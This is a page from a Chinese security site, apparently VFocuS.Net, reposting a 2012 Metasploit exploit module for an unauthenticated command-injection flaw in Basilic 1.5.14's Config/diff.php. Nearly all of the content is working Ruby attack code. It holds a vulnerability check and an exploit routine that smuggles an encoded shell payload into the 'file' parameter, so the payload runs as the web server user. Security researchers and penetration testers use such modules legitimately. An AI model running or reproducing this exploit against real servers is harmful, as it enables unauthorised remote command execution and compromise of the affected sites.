首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Basilic 1.5.14 diff.php Arbitrary Command Execution
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-07-09  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
				commands as the www-data user account.
			},
			'Author'         =>
				[
					'lcashdollar',
					'sinn3r',
					'juan'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'BID', '54234' ]
				],
			'Platform'       => ['linux', 'unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 28 2012'
		))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
			], self.class)
	end


	def check
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		sig = rand_text_alpha(10)

		res = send_request_cgi({
			'uri'  => "/#{base}/Config/diff.php",
			'vars_get' => {
				'file' => sig,
				'new'  => '1',
				'old'  => '2'
			}
		})

		if res and res.body =~ /#{sig}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end


	def exploit
		print_status("Sending GET request...")

		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		res = send_request_cgi({
				'uri' => "/#{base}/Config/diff.php",
				'vars_get' => {
					'file' => "&#{payload.encoded} #",
					'new'  => '1',
					'old'  => '2'
				}
			})

		if res and res.code == 404 then
			print_error("404 Basilic not installed or possibly check URI Path.")
		else
			vprint_line(res.body) if res
		end

		handler
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache Sling 2.1.0 Denial Of S
·Tiki Wiki <= 8.3 unserialize()
·Linux Kernel Local Denial Of S
·Umbraco CMS Remote Command Exe
·Plow 0.0.5 Buffer Overflow
·Poison Ivy 2.3.2 C&C Server Bu
·IBM Rational ClearQuest CQOle
·Shakes And Fidget - Brute Forc
·Photodex ProShow Producer 5.0.
·.Net Framework Tilde Character
·Microsoft IIS 6 , 7.5 FTP Serv
·Solar FTP Server 2.2 Remote DO
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved